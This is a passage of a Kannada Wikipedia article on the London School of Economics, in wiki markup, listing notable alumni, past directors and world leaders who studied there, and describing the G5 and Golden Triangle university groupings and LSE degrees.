ಹೌಸ್ ಆಫ್ ಕಾಮರ್ಸ್‌ನ 28 ಸದಸ್ಯರು ಮತ್ತು ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್‌ನ 42 ಸದಸ್ಯರು ಶಾಲೆಯಲ್ಲಿ ಅಧ್ಯಯನ ಮಾಡಿದ್ದಾರೆ ಇಲ್ಲವೇ ಬೋಧನೆ ಮಾಡಿದ್ದಾರೆ. ಇತ್ತೀಚಿನ ಬ್ರಿಟಿಷ್ ರಾಜಕೀಯದಲ್ಲಿರುವ, ಮಾಜಿ ಎಲ್‌ಎಸ್ಇ ವಿದ್ಯಾರ್ಥಿಗಳಲ್ಲಿ ವರ್ಜೀನಿಯಾ ಬಾಟಮ್ಲೀ, ಯೆಟ್ಟೆ ಕೂಪರ್, ಎಡ್ವಿನಾ ಕ್ಯೂರಿ, ಫ್ರಾಂಕ್ ಡಾಬ್ಸನ್, ಮಾರ್ಗರೇಟ್ ಹೋಡ್ಜ್ ಮತ್ತು ಪ್ರಸ್ತುತ ಲೇಬರ್ ಪಕ್ಷದ ನಾಯಕರಾದ ಎಡ್ ಮಿಲಿಬಾಂಡ್ ಸೇರಿದ್ದಾರೆ. ಅಂತರಾಷ್ಟ್ರೀಯವಾಗಿ ಜಾನ್ ಎಫ್ ಕೆನಡಿ (ಮಾಜಿ ಅಮೇರಿಕದ ಅಧ್ಯಕ್ಷರು), ಆಸ್ಕರ್ ಏರಿಯಸ್ (ಕೋಸ್ಟಾರಿಕಾದ ಅಧ್ಯಕ್ಷರು), ಟಾರೋ ಆಸೋ<ref name="LSEWorldLeaders" /> (ಜಪಾನಿನ ಪ್ರಧಾನಮಂತ್ರಿ), ಕ್ವೀನ್ ಮಾರ್ಗರೇಟ್ II ಡೆನ್ಮಾರ್ಕ್,<ref name="LSEWorldLeaders" /> [[ಬಿ.ಆರ್.ಅಂಬೇಡ್ಕರ್|ಬಿ.ಆರ್. ಅಂಬೇಡ್ಕರ್]]<ref name="LSEWorldLeaders" /> (ಭಾರತೀಯ ಸಂವಿಧಾನದ ಪಿತಾಮಹ) [[ಕೆ ಆರ್ ನಾರಾಯಣನ್|ಕೆ.ಆರ್.ನಾರಾಯಣನ್]]<ref name="LSEWorldLeaders" /> (ಭಾರತದ ಮಾಜಿ ರಾಷ್ಟ್ರಪತಿ) ಮತ್ತು ರೊಮಾನೋ ಪ್ರೋಡಿ<ref name="LSEWorldLeaders" /> (ಇಟಲಿಯ ಪ್ರಧಾನಿ ಮತ್ತು ಯುರೋಪಿಯನ್ ಕಮೀಷನ್‌ನ ಅಧ್ಯಕ್ಷರು) ಇವರೆಲ್ಲರೂ ಎಲ್ಎಸ್ಇಯಲ್ಲಿ ಅಧ್ಯಯನ ಮಾಡಿದರು. ಆಗಸ್ಟ್ 2010 ರವರೆಗೆ, ಶಾಲೆಯಲ್ಲಿ ಅಧ್ಯಯನ ಮಾಡಿದ ಏಳು ರಾಷ್ಟ್ರಗಳ ಪ್ರಸ್ತುತ ಸರ್ಕಾರ/ಅಥವಾ ರಾಷ್ಟ್ರದ ಮುಖಂಡರುಗಳು- ಕೊಲಂಬಿಯಾ, ಡೆನ್ಮಾರ್ಕ್, ಘಾನಾ, ಗ್ರೀಸ್, ಕೀನ್ಯಾ, ಕಿರಿಬಾತಿ ಮತ್ತು ಮಾರಿಷಸ್ ರಾಷ್ಟ್ರದವರಾಗಿದ್ದಾರೆ. ಎಲ್‌ಎಸ್ಇಯಲ್ಲಿ ಅಧ್ಯಯನ ಮಾಡಿದ ಯಶಸ್ವಿ ಉದ್ಯೋಗಪತಿಗಳಲ್ಲಿ ಡೆಲ್ಫಿನ್ ಅರ್ನಾಲ್ಟ್, ಸ್ಟೀಲಿಯೋಸ್ ಹೈಜಿ-ಐಯೋನಾಟ್, ಸ್ಪೈರೋಸ್ ಲ್ಯಾಟ್ಸಿಸ್, ಡೇವಿಡ್ ರಾಕ್‌ಫೆಲ್ಲರ್, ಮೌರಿಸ್ ಸಾಟ್ಚಿ, [[ಜಾರ್ಜ್‌ ಸೊರೊಸ್‌|ಜಾರ್ಜ್ ಸೊರೋಸ್]] ಮತ್ತು ಮೈಕೆಲ್ ಎಸ್. ಜೆಫ್ರೀಸ್ (ಅಬೆರ್‌ಕ್ರೋಂಬಿ ಎಂಡ್ ಫಿಚ್‌ ನ ಸಿಇಓ) ಸೇರಿದ್ದಾರೆ. ಹೆಸರಾಂತ ಕಾಲ್ಪನಿಕ ನಟನೆಯ ಹಳೆ ವಿದ್ಯಾರ್ಥಿಗಳಲ್ಲಿ ಟೆಲಿವಿಷನ್ ಸರಣಿ ''ದಿ ವೆಸ್ಟ್ ವಿಂಗ್'' ನಿಂದ ಪ್ರೆಸಿಡೆಂಟ್ ಜೋಸೈ ಬಾರ್ಟ್ಲೆಟ್, ಇಯಾನ್ ಫ್ಲೆಮಿಂಗ್ ಅವರ [[ಜೇಮ್ಸ್ ಬಾಂಡ್‌|ಜೇಮ್ಸ್ ಬಾಂಡ್]] ಅವರ ತಂದೆ ಆಂಡ್ರ್ಯೂ ಬಾಂಡ್ ಮತ್ತು ಜಿಮ್ ಹಾಕರ್, ಯೆಸ್, ಮಿನಿಸ್ಟರ್ ಮತ್ತು ಯೆಸ್, ಪ್ರೈಮ್ ಮಿನಿಸ್ಟರ್ನ ಕಾಲ್ಪನಿಕ ಸಚಿವರು ಮತ್ತು ಪ್ರಧಾನ ಮಂತ್ರಿ ಸೇರಿದ್ದಾರೆ. [[File:LSE Nobel Prize Display Blue.jpg|thumb|right|450px|ಎಲ್ಎಸ್ಇಯಲ್ಲಿ ನೊಬೆಲ್ ಪ್ರಶಸ್ತಿ ವಿಜೇತರ ಪ್ರದರ್ಶನ]] === ನಿರ್ದೇಶಕರುಗಳ ಪಟ್ಟಿ === * ವಿಲಿಯಮ್ ಹೆವಿನ್ಸ್ (1895–1903)<ref name="LSEFormerDirectors">{{cite web|title = Former directors and LSE's history|url = http://www.lse.ac.uk/collections/meetthedirector/formerDirectorsAndLsesHistory.htm|publisher = London School of Economics|accessdate = 2009-07-26|archive-date = 2009-09-19|archive-url = https://web.archive.org/web/20090919123404/http://www.lse.ac.uk/collections/meetthedirector/formerDirectorsAndLsesHistory.htm|url-status = dead}}</ref> * ಪ್ರೊಫೆಸರ್ ಹಾಲ್‌ಫೋರ್ಡ್ ಮ್ಯಾಕಿಂಡರ್ (1903–1908)<ref name="LSEFormerDirectors" /> * ವಿಲಿಯಮ್ ಪೆಂಬರ್ ರೀವ್ಸ್ (1908–1919)<ref name="LSEFormerDirectors" /> * ಸರ್ ವಿಲಿಯಮ್ ಬೆವೆರಿಡ್ಜ್ (1919–1937)<ref name="LSEFormerDirectors" /> * ಸರ್ ಅಲೆಕ್ಸಾಂಡರ್ ಕಾರ್-ಸೌಂಡರ್ಸ್ (1937–1957)<ref name="LSEFormerDirectors" /> * ಸರ್ ಸಿಡ್ನಿ ಕೇನ್ (1957–1967)<ref name="LSEFormerDirectors" /> * ಸರ್ ವಾಲ್ಟರ್ ಆಡಮ್ಸ್ (1967–1974)<ref name="LSEFormerDirectors" /> * ಪ್ರೊಫೆಸರ್ ಸರ್ ರಾಫ್ ಡಾಹ್ರೆಂಡಾಫ್ (1974–1984)<ref name="LSEFormerDirectors" /> * ಡಾ ಇಂದ್ರಪ್ರಸಾದ್ ಗೋರ್ಧನಬಾಯಿ ಪಟೇಲ್ (1984–1990)<ref name="LSEFormerDirectors" /> * ಪ್ರೊಫೆಸರ್ ಜಾನ್ ಆಶ್‌ವರ್ಥ್ (1990–1996)<ref name="LSEFormerDirectors" /> * ಪ್ರೊಫೆಸರ್ ಆಂತೋನಿ ಗಿಡ್ಡೆನ್ಸ್ (1996–2003)<ref name="LSEFormerDirectors" /> * ಸರ್ ಹೊವಾರ್ಡ್ ಡೇವಿಸ್ (೨೦೦೩ ರಿಂದ)<ref name="LSEFormerDirectors" /> === ಎಲ್ಎಸ್ಇಯ ರಾಜ್ಯ ಮತ್ತು ಸರ್ಕಾರದ ಮುಖ್ಯಸ್ಥರು === {| class="wikitable" style="float: center; border: 5px solid #BBB; margin: .96em 0 0 .9em;" |- style="font-size: 40%;"" |+ <ref name="LSELeaders">{{cite web|title = LSE Leaders|url = http://www2.lse.ac.uk/intranet/LSEServices/divisionsAndDepartments/ERD/pressAndInformationOffice/LSEFacts/worldLeaders.aspx|publisher = London School of Economics|date = 2010-07-05|accessdate = 2010-07-05|archive-date = 2010-02-13|archive-url = https://web.archive.org/web/20100213181416/http://www2.lse.ac.uk/intranet/LSEServices/divisionsAndDepartments/ERD/pressAndInformationOffice/LSEFacts/worldLeaders.aspx|url-status = dead}}</ref> |'''ರಾಷ್ಟ್ರ''' || '''ಮುಖ್ಯಸ್ಥ''' || '''ಅಂಗ ಸದಸ್ಯತ್ವ''' || '''ಅಧಿಕಾರಾವಧಿ''' |- {| | ''{{flag|Barbados}}'' | ಎರ್ರೋಲ್ ವಾಲ್ಟನ್ ಬಾರ್ರೋ (1920–1987) | ಬಿಎಸ್‌ಸಿ (ಎಕೋನ್) 1950 | ಪ್ರಧಾನ ಮಂತ್ರಿ 1962-1966; 1966–1976; 1986–1987 |- | ''{{flag|Canada}}'' | ಪೀರ್ ಟ್ರುಡಿಯು (1919–2000) | ಸಂಶೋಧನಾ ಶುಲ್ಕ ವಿದ್ಯಾರ್ಥಿ 1947-1948 | ಪ್ರಧಾನ ಮಂತ್ರಿ 1968-1979; 1980–1984 |- | ''{{flag|Canada}}'' | ಕಿಮ್ ಕ್ಯಾಂಪ್‌ಬೆಲ್ (ಜ. 1947) | ಪಿಹೆಚ್‌ಡಿ ವಿದ್ಯಾರ್ಥಿ 1973 (ಯಾವುದೇ ಪೂರೈಸಲಿಲ್ಲ) | ಪ್ರಧಾನ ಮಂತ್ರಿ ಜೂನ್–November 1993 |- | ''{{flag|Colombia}}'' | ಆಲ್ಫೋನ್ಸೋ ಲೋಪೆಜ್ ಪ್ಯುಮಾರೆಜೋ | ಸಾಂದರ್ಭಿಕ ನೋಂದಣಿ 1932-1933 | ಅಧ್ಯಕ್ಷ 1934-1938, 1942–1945 |- | ''{{flag|Colombia}}'' | ಜುವಾನ್ ಮ್ಯಾನ್ಯುಯೆಲ್ ಸಾಂಟೋಸ್ | ಎಂಎಸ್ಸಿ ಅರ್ಥಶಾಸ್ತ್ರ 1975 | ಅಧ್ಯಕ್ಷ 2010- |- | ''{{flag|Denmark}}'' | ಹೆಚ್ಎಮ್ ಕ್ವೀನ್ ಮಾರ್ಗ್ರೇತ್ II (ಜ. 1940) | ಸಾಂದರ್ಭಿಕ ವಿದ್ಯಾರ್ಥಿ 1965 | ರಾಣಿ 1972- |- | ''{{flag|Dominica}}'' | ಡೇಮ್ ಯುಗೇನಿಯಾ ಚಾರ್ಲ್ಸ್ | ಎಲ್ಎಲ್ಎಮ್ 1949 | ಪ್ರಧಾನ ಮಂತ್ರಿ 1980-1995 |- | ''{{flag|EU}}'' | ಪ್ರೊಫೆಸರ್ ರೊಮಾನೋ ಪ್ರೋಡಿ (ಜ. 1939) | ಸಂಶೋಧನಾ ಶುಲ್ಕ ವಿದ್ಯಾರ್ಥಿ 1962-1963 | ಯುರೋಪಿಯನ್ ಕಮಿಶನ್ ಅಧ್ಯಕ್ಷ 1999-2004; |- | ''{{flag|Fiji}}'' | ರಾಟು ಸರ್ ಕಮೀಸೆಸೆ ಮಾರಾ (1920–2004) | ಡಿಪ್ಲೋಮಾ ಅರ್ಥಶಾಸ್ತ್ರ ಮತ್ತು ಸಾಮಾಜಿಕ ನಿರ್ವಹಣೆ 1962 | ಪ್ರಧಾನ ಮಂತ್ರಿ 1970-1992; ಅಧ್ಯಕ್ಷ 1994-2000 |- | ''{{flag|Germany}}'' | ಹೀನ್ರಿಕ್ ಬ್ರುನಿಂಗ್ | ಬಿಎಸ್‌ಸಿ ಅರ್ಥಶಾಸ್ತ್ರ ವಿದ್ಯಾರ್ಥಿ 1911-1913 | ಚಾನ್ಸೆಲರ್ 1930-32 |- | ''{{flag|Ghana}}'' | ಡಾ. ಕ್ವೇಮ್ ಕ್ರುಮಾಹ್ (1909–1972) | ಪಿಹೆಚ್‌ಡಿ 1946 | ಪ್ರಥಮ ಅಧ್ಯಕ್ಷ 1960-1966 |- | ''{{flag|Ghana}}'' | ಗೌರವ ಡಾ ಹಿಲ್ಲಾ ಲಿಮಾನ್ (1934–1998) | ಬಿಎಸ್‌ಸಿ (ಅರ್ಥಶಾಸ್ತ್ರ) 1960 | ಅಧ್ಯಕ್ಷ 1979-1981 |- | ''{{flag|Ghana}}'' | ಜಾನ್ ಅಟ್ಟಾ ಮಿಲ್ಸ್ (ಜ. 1944) | ಎಲ್ಎಲ್ಎಮ್ 1967-68 | ಅಧ್ಯಕ್ಷ 2009 |- | ''{{flag|Greece}}'' | ಜಾರ್ಜ್ ಪಾಪಂಡ್ರ್ಯೂ (b.1952) | ಎಂಎಸ್ಸಿ ಸಮಾಜಶಾಸ್ತ್ರ 1977 | ಪ್ರಧಾನ ಮಂತ್ರಿ 2009- |- | ''{{flag|Greece}}'' | ಡಾ. ಕೋನ್‌ಸ್ಟಂಟೈನ್ ಸಿಮಿಟಿಸ್ (ಜ. 1936) | ಸಂಶೋಧನಾ ಶುಲ್ಕ ವಿದ್ಯಾರ್ಥಿ 1961-1963 | ಪ್ರಧಾನ ಮಂತ್ರಿ 1996-2004 |- | ''{{flag|India}}'' | ಶ್ರೀ ಕೆ ಆರ್ ನಾರಾಯಣನ್ (1921–2005) | ಬಿಎಸ್‌ಸಿ (ಅರ್ಥಶಾಸ್ತ್ರ) 1945-1948 | ಅಧ್ಯಕ್ಷ 1997-2002 |- | ''{{flag|Israel}}'' | ಮೋಶ್ ಶಾರೆಟ್ (1894–1965) | ಬಿಎಸ್‌ಸಿ (ಅರ್ಥಶಾಸ್ತ್ರ) 1924 | ಪ್ರಧಾನ ಮಂತ್ರಿ 1953-1955 |- | ''{{flag|Italy}}'' | ಪ್ರೊಫೆಸರ್ ರೋಮಿಯೋ ಪ್ರೋಡಿ (ಜ. 1939) | ಸಂಶೋಧನಾ ಶುಲ್ಕ ವಿದ್ಯಾರ್ಥಿ 1962-1963 | ಪ್ರಧಾನ ಮಂತ್ರಿ 1996-1998; 2006–2008 |- | ''{{flag|Jamaica}}'' | ಮೈಕೆಲ್ ಮ್ಯಾನ್‌ಲೀ (1924–1997) | ಬಿಎಸ್‌ಸಿ (ಅರ್ಥಶಾಸ್ತ್ರ) 1949 | ಪ್ರಧಾನ ಮಂತ್ರಿ 1972-1980; 1989–1992 |- | ''{{flag|Jamaica}}'' | ಪಿ ಜೆ ಪ್ಯಾಟರ್ಸನ್ | ಎಲ್ಎಲ್‌ಬಿ 1963 | ಪ್ರೀಮಿಯರ್ 1992-2006 |- | ''{{flag|Japan}}'' | ಟಾರೋ ಆಸೋ (ಜ.1940) | ಸಾಂದರ್ಭಿಕ ವಿದ್ಯಾರ್ಥಿ 1966 | ಪ್ರಧಾನ ಮಂತ್ರಿ 2008- |- | ''{{flag|Kenya}}'' | ಜೋಮೋ ಕೆನ್ಯಾಟ್ಟಾ (1891–1978) | ಎಡಿಎ 1936 | ಪ್ರಥಮ ಅಧ್ಯಕ್ಷ 1964-1978 |- | ''{{flag|Kenya}}'' | ಮಾಯ್ ಕಿಬಕಿ (ಜ. 1931) | ಬಿಎಸ್‌ಸಿ ಅರ್ಥಶಾಸ್ತ್ರ 1959 | ಅಧ್ಯಕ್ಷ 2002- |- | ''{{flag|Kiribati}}'' | ಆಂಟೋ ಟೋಂಗ್ (b.1952) | ಎಂಎಸ್ಸಿ ಸೀ-ಯೂಸ್ ಗ್ರೂಪ್ 1988 | ಅಧ್ಯಕ್ಷ 2003- |- | ''{{flag|Mauritius}}'' | ಸರ್ ವೀರಾಸ್ವಾಮಿ ರಿಂಗಾಡೂ (1920–2000) | ಎಲ್ಎಲ್‌ಬಿ 1948 | ಮಾರಿಷಸ್‌ನ ಪ್ರಥಮ ಪ್ರಧಾನ ಮಂತ್ರಿ ಮಾರ್ಚ್–ಜೂನ್ 1992 |- | ''{{flag|Mauritius}}'' | ಡಾ. ನವೀನಚಂದ್ರ ರಾಮ್‌ಗೂಲಾಮ್ (ಜ. 1947) | ಎಲ್ಎಲ್‌ಬಿ 1990 | ಪ್ರಧಾನ ಮಂತ್ರಿ 1995-2000; 2005- |- | ''{{flag|Nepal}}'' | ಶೇರ್ ಬಹಾದೂರ್ ದೇವೂಬಾ (ಜ. 1943) | ಸಂಶೋಧನಾ ವಿದ್ಯಾರ್ಥಿ ಅಂತರಾಷ್ಟ್ರೀಯ ಸಂಬಂಧಗಳು 1988-1989 | ಪ್ರಧಾನ ಮಂತ್ರಿ 1995-1997; 2001–2003; 2004–2005 |- | ''{{flag|Panama}}'' | ಹರ್ಮೋಡಿಯೋ ಏರಿಯಸ್ (1886–1962) | ಸಾಂದರ್ಭಿಕ ವಿದ್ಯಾರ್ಥಿ, 1909–1911 | ಅಧ್ಯಕ್ಷ 1932-1936 |- | ''{{flag|Peru}}'' | ಪೆಡ್ರೋ ಗರ್ನಾರ್ಡೋ ಬೆಲ್ಟ್ರಾನ್ ಎಸ್ಪಾಂಟೋ (1897–1979) | ಬಿಎಸ್‌ಸಿ (ಅರ್ಥಶಾಸ್ತ್ರ) 1918 | ಪ್ರಧಾನ ಮಂತ್ರಿ 1959-1961 |- | ''{{flag|Peru}}'' | ಬೀಟ್ರಿಜ್ ಮೆರಿನೋ (ಜ.1947) | ಎಲ್ಎಲ್‌ಎಮ್ 1972 | ಪ್ರಧಾನ ಮಂತ್ರಿ 2003 |- | ''{{flag|Poland}}'' | ಮರೇಕ್ ಬೆಲ್ಕಾ (ಜ.1952) | ಬೇಸಿಗೆ ಶಾಲೆ 1990 | ಪ್ರಧಾನ ಮಂತ್ರಿ 2004-05 |- | ''{{flag|Singapore}}'' | ಗೋಹ್ ಕೆಂಗ್ ಸ್ವೀ (1918-2010) | ಬಿಎಸ್‌ಸಿ ಅರ್ಥಶಾಸ್ತ್ರ 1951; ಪಿಹೆಚ್‌ಡಿ ಅರ್ಥಶಾಸ್ತ್ರ 1956 | ಉಪ ಪ್ರಧಾನ ಮಂತ್ರಿ 1959-84 |- | ''{{flag|Saint Lucia}}'' | ಜಾನ್ ಕೋಂಪ್ಟನ್ (ಜ. 1926) | ಎಲ್ಎಲ್‌ಬಿ 1952 | ಪ್ರೀಮಿಯರ್ 1964-1979; ಪ್ರಧಾನ ಮಂತ್ರಿ ಫೆಬ್ರ-ಜುಲೈ 1979 &amp; 1982-1996 |- | ''{{flag|Taiwan}}'' | ಯು ಕುವೋ-ಹ್ವಾ (1914–2000) | ಕಾಂಪೋಸಿಶನ್ ಫೀ ವಿದ್ಯಾರ್ಥಿ 1947-1949 | ಪ್ರೀಮಿಯರ್ 1984-1989 |- | ''{{flag|Taiwan}}'' | ಟ್ಸಾಯ್ ಇಂಗ್-ವೆನ್ (b.1956) | ಪಿಹೆಚ್‌ಡಿ ಕಾನೂನು 1984 | ವೈಸ್-ಪ್ರೀಮಿಯರ್ 2006- |- | ''{{flag|Thailand}}'' | ಥಾನಿನ್ ಕ್ರಾಯ್‌ವಿಚಿಯೆನ್ (b. 1927) | ಎಲ್ಎಲ್‌ಬಿ 1953 | ಪ್ರಧಾನ ಮಂತ್ರಿ 1976-1977 |- | ''{{flag|United Kingdom}}'' | ಲಾರ್ಡ್ ಅಟ್ಲೀ (1883–1967) | ಸಾಮಾಜಿಕ ವಿಜ್ಞಾನ ಮತ್ತು ನಿರ್ವಹಣೆಯ ಉಪನ್ಯಾಸಕ, 1912–1923 | ಪ್ರಧಾನ ಮಂತ್ರಿ, 1945–1951 |- | ''{{flag|United States}}'' | ಜಾನ್ ಎಫ್ ಕೆನಡಿ (1917–1963) | ಜನರಲ್ ಕೋರ್ಸ್ ವಿದ್ಯಾರ್ಥಿ 1935 | ಅಧ್ಯಕ್ಷ 1961-1963 |} == ಹೊಸ ವಶೀಲಿಗಾರರ ಸಮೂಹ == "ಜಿ5" ಎಂದು ಸಾಮಾನ್ಯವಾಗಿ ತಿಳಿದಿರುವ ಸ್ವಯಂ-ಪ್ರಜ್ಞೆಯ ಗಣ್ಯ ವಶೀಲಿಗಾರರ ಮತ್ತು ಒತ್ತಡದ ಸಮೂಹವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸಲು ಪ್ರಾರಂಭಿಸಿರುವ ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳ ಹೊಸ ಸಮೂಹದ ಭಾಗವಾಗಿ ಎಲ್‌ಎಸ್ಇ ಅನ್ನು ಇತ್ತೀಚಿನ ಪತ್ರಿಕಾ ವರದಿಗಳು ಗುರುತಿಸಿವೆ.<ref name="thes.co.uk">{{cite web |url=http://www.thes.co.uk/current_edition/story.aspx?story_id=2010377 |title=Times Higher Education - World University Rankings, education news and university jobs |publisher=Thes.co.uk |date= |accessdate=2010-04-26 |archive-date=2007-09-27 |archive-url=https://web.archive.org/web/20070927221432/http://www.thes.co.uk/current_edition/story.aspx?story_id=2010377 |url-status=dead }}</ref><ref name="ReferenceB">{{Cite web |url=http://www.lse.ac.uk/collections/pressAndInformationOffice.bak/staffStudentsAndAlumni/dailyHeadlines/06-02-04.htm |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-10-08 |archive-date=2008-10-13 |archive-url=https://web.archive.org/web/20081013174907/http://www.lse.ac.uk/collections/pressAndInformationOffice.bak/staffStudentsAndAlumni/dailyHeadlines/06-02-04.htm |url-status=dead }}</ref> ''ಟೈಮ್ಸ್ ಹೈಯರ್ ಎಜುಕೇಶನ್ ಸಪ್ಲಿಮೆಂಟ್'' (ಟಿಹೆಚ್ಇಎಸ್) ಪ್ರಕಾರವಾಗಿ, ಐದು ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳೆಂದರೆ, ಎಲ್ಎಸ್ಇ, ಇಂಪೀರಿಯಲ್ ಕಾಲೇಜ್ ಲಂಡನ್, ಯೂನಿವರ್ಸಿಟಿ ಆಫ್ ಆಕ್ಸ್‌ಫರ್ಡ್, [[ಕೇಂಬ್ರಿಡ್ಜ್‌‌‌‌‌‌‌‌‌‌‌ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ|ಯೂನಿವರ್ಸಿಟಿ ಆಫ್ ಕೇಂಬ್ರಿಡ್ಜ್]] ಮತ್ತು ಯೂನಿವರ್ಸಿಟಿ ಕಾಲೇಜ್ ಲಂಡನ್, ಮತ್ತು ಅವುಗಳು ಈಗಾಗಲೇ ರಸ್ಸೆಲ್ ಸಮೂಹ) ದ ಭಾಗವಾಗಿರುವುದರಿಂದ, ಅದು ಅವುಗಳನ್ನು "ಅತ್ಯುತ್ತಮ-ಗಣ್ಯ" ಎಂಬುದಾಗಿ ವಿವರಿಸಿದೆ.<ref name="thes.co.uk" /> "ಅದರ ಉತ್ತಮ-ಗುಣಮಟ್ಟದ ಬೋಧನೆಯನ್ನು ಬೆಂಬಲಿಸಲು ಹೆಚ್ಚಿನ ಹಣವಿಲ್ಲದೇ ಇದ್ದಲ್ಲಿ, ಅದರ ಸದಸ್ಯರು ಬ್ರಿಟಿಷ್ ಪದವಿಪೂರ್ವ ವಿದ್ಯಾರ್ಥಿಗಳನ್ನು ನಿರಾಕರಿಸುತ್ತೇವೆ ಮತ್ತು ಬದಲಿಗೆ ತಮ್ಮ ಪಠ್ಯಕ್ರಮದ ಪೂರ್ಣ ವೆಚ್ಚವನ್ನು ಭರಿಸುವ ಶುಲ್ಕದ ಅಂತರಾಷ್ಟ್ರೀಯ ಸ್ನಾತಕೋತ್ತರ ವಿದ್ಯಾರ್ಥಿಗಳ ಕಡೆಗೆ ಗಮನ ಹರಿಸುತ್ತೇವೆ ಎಂದು ತಮ್ಮನ್ನು ಜಿ5 ಎಂದು ಕರೆದುಕೊಳ್ಳುವ ಸಮೂಹವು ಎಚ್ಚರಿಕೆ ನೀಡಿದೆ ಎಂಬುದಾಗಿ ಟಿಹೆಚ್ಇಎಸ್<ref name="thes.co.uk" /><ref name="ReferenceB" /> ನಲ್ಲಿ ವರದಿ ಮಾಡಲಾಗಿದೆ. ಹೊಸ ಸಮೂಹವು ರಹಸ್ಯವಾಗಿ ಕೆಲವು ತಿಂಗಳುಗಳಿಂದ ಭೇಟಿ ಮಾಡುತ್ತಿದೆ. ಅವುಗಳ ಸುಸಜ್ಜಿತ ಗುಂಪುಗಾರಿಕೆಯ ಅಸ್ತಿತ್ವದ ಬಗ್ಗೆ ಕುರಿತಂತೆ ಕೆಲವು ವೈಸ್-ಚಾನ್ಸಲರ್‌ಗಳಿಗೆ ತಿಳಿದಿದೆ. ತಮ್ಮ ಪಠ್ಯಕ್ರಮಗಳಲ್ಲಿ ದೇಶೀಯ ಮತ್ತು [[ಯುರೋಪಿನ ಒಕ್ಕೂಟ|ಯುರೋಪಿಯನ್ ಯೂನಿಯನ್]] ಪದವಿಪೂರ್ವ ವಿದ್ಯಾರ್ಥಿಗಳ ಪೂರ್ಣ ವೆಚ್ಚವನ್ನು ಭರಿಸಲು 2006 ರಿಂದ ಸಂಭಾವ್ಯವಾಗಿರುವ £3,000 ಪ್ರತಿ ವಿದ್ಯಾರ್ಥಿ ಭರ್ತಿ-ಶುಲ್ಕದ ಕ್ಕಿಂತ ಹೆಚ್ಚಿನ ಸ್ಟೇಟ್ ಹಣವನ್ನು ಪಡೆಯುವುದು ಜಿ5 ನ ಗುರಿಯಾಗಿದೆ. ತನ್ನ ಸದಸ್ಯರಿಗೆ ಜಿ೫ ಸಮೂಹವು ವಿಶೇಷ ಸವಲತ್ತುಗಳನ್ನು ನೀಡುತ್ತದೆ." ಎಲ್ಎಸ್ಇಯು ಆಕ್ಸ್‌ಫರ್ಡ್, ಕೇಂಬ್ರಿಡ್ಜ್, ಇಂಪೀರಿಯಲ್ ಕಾಲೇಜ್ ಆಫ್ ಲಂಡನ್, ಎಲ್‌ಎಸ್ಇ, ಯೂನಿವರ್ಸಿಟಿ ಕಾಲೇಜ್ ಆಫ್ ಲಂಡನ್ ಮತ್ತು ಕಿಂಗ್ಸ್ ಕಾಲೇಜ್ ಆಫ್ ಲಂಡನ್ ಅನ್ನು ಒಳಗೊಂಡಿರುವ ಗೋಲ್ಡನ್ ಟ್ರಯಾಂಗಲ್ ಎಂದು ಕರೆಯಲ್ಪಡುವ ಹೊಸ ಸಮೂಹದ ಸದಸ್ಯವೂ ಆಗಿದೆ. ಕೊನೆಯ ಮೂರು ಲಂಡನ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಮೂರು ಪ್ರತಿಷ್ಠಿತ ಕಾಲೇಜುಗಳಾಗಿವೆ (ಲಂಡನ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದಿಂದ 2007 ರಲ್ಲಿ ಇಂಪೀರಿಯಲ್ ಸ್ವಾಯತ್ತತೆಯನ್ನು ಪಡೆದುಕೊಂಡಿದೆ), ಮತ್ತು ಆಗಾಗ್ಗೆ ಇವುಗಳನ್ನು ಅವುಗಳ ಸ್ವಂತ ಹಕ್ಕಿಗೆ ಅನುಸಾರವಾಗಿ ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳು<ref>{{Cite web |url=http://www.kcl.ac.uk/phpnews/wmview.php?ArtID=1321 |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-10-08 |archive-date=2006-08-27 |archive-url=https://web.archive.org/web/20060827072549/http://www.kcl.ac.uk/phpnews/wmview.php?ArtID=1321 |url-status=dead }}</ref> ಎಂದು ಪರಿಗಣಿಸಲಾಗಿದೆ. ಎಲ್ಲವುಗಳು ತಮ್ಮ ಸ್ವಂತ ಪದವಿಗಳನ್ನು ನೀಡುವ ಹಕ್ಕನ್ನು ಪಡೆದುಕೊಳ್ಳುವ ನಿಟ್ಟಿನಲ್ಲಿ ಪ್ರಗತಿಯನ್ನು ಕಂಡಿವೆ. == ಪದವಿಗಳು == ಸ್ನಾತಕ ಪದವಿ, ಸ್ನಾತಕೋತ್ತರ ಪದವಿಗಳು ಮತ್ತು ಪಿಹೆಚ್‌ಡಿಗಳನ್ನು ಒಳಗೊಂಡು ವಿವಿಧ ಶೈಕ್ಷಣಿಕ ಪದವಿಗಳನ್ನು ಎಲ್‌ಎಸ್‌ಇ ಪ್ರದಾನ ಮಾಡುತ್ತದೆ. ಪ್ರದಾನ ಮಾಡಿದ ಪೋಸ್ಟ್ ನಾಮಿನಲ್‌ಗಳು ಬ್ರಿಟಿಷ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳಾದ್ಯಂತ ಸಾಮಾನ್ಯವಾಗಿ ಬಳಸಲಾಗುವ ಪದವಿ ಸಂಕ್ಷಿಪ್ತ ರೂಪವಾಗಿದೆ. ಇತರ ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳ ಜೊತೆಗೆ ಎಲ್ಎಸ್ಇಯು ವಾರ್ಷಿಕ ಗೌರವ ಪದವಿಗಳನ್ನು ಪ್ರದಾನ ಮಾಡುವುದಿಲ್ಲ. ಅದರ 113 ವರ್ಷಗಳ ಇತಿಹಾಸದಲ್ಲಿ, ಶಾಲೆಯು [[ನೆಲ್ಸನ್ ಮಂಡೇಲಾ]] (ಡಾಕ್ಟರ್ ಆಫ್ ಸೈನ್ಸ್, ಅರ್ಥಶಾಸ್ತ್ರ) ನಂತಹ ಪ್ರಭಾವಿ ವ್ಯಕ್ತಿಗಳಿಗೆ ಹದಿನೈದು ಗೌರವ ಡಾಕ್ಟರೇಟ್‌ಗಳನ್ನು ಪ್ರದಾನ ಮಾಡಿದೆ. [[File:Lincoln's Inn Fields - May 